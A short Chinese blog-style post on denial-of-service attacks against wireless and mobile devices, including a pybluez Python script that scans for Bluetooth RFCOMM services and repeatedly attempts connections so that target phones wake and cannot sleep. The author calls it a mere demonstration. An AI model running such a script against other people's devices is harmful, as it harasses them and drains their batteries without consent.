针对无线设备的DoS的攻击目标同样是系统中的某个瓶颈。例如使用无线路由的,一个用户p2p其他的用户经常打不开网页,这个与普通的DoS是一样的。另外,因为无线设备特有的一些特征,所有针对无线设备也有一些特殊的攻击方式。比如对无线信道的噪声污染,当信噪比下降到一定程度的时候,无线信道就彻底没法用了,类似考试的时候放的那个手机信号屏蔽器。还有就是下面说的这种无聊的DoS。
移动设备比起普通的电子设备来说,最大的特点就是大多移动设备都需要使用电池供电。所以移动设备经常积极的睡眠,以期延长电池的使用时间。下面要说的就是针对移动设备电力供应的DoS攻击一个示例。说白了就是骚扰移动设备,让它总是不能进入待机状态。
对于一个没有授权的蓝牙设备,每一次发起的链接都需要对端设备进行确认,是否进行连接。这种操作每次都会让屏幕亮起来~让手机睡觉不能……=。=b
注1:下面的代码仅仅是一个示例,可以让对端设备亮起来,但并不足以发起一次真正的DoS攻击。
注2:蓝牙工具包,来自pybluez:http://code.google.com/p/pybluez/
# -*-coding:utf-8 -*- from bluetooth import * def BluetoothAtk(): service_list = find_service() sock = BluetoothSocket() for service in service_list: if service['protocol']=='RFCOMM': host = service['host'] port = service['port'] name = lookup_name(host) print "Attacking %s (%s) port %d" %(host,name,port) try: sock.connect((host,port)) except IOError,msg: print " %s" % msg else: print " Maybe Contented..." if __name__ == '__main__': BluetoothAtk()
上面的代码会让手机醒过来~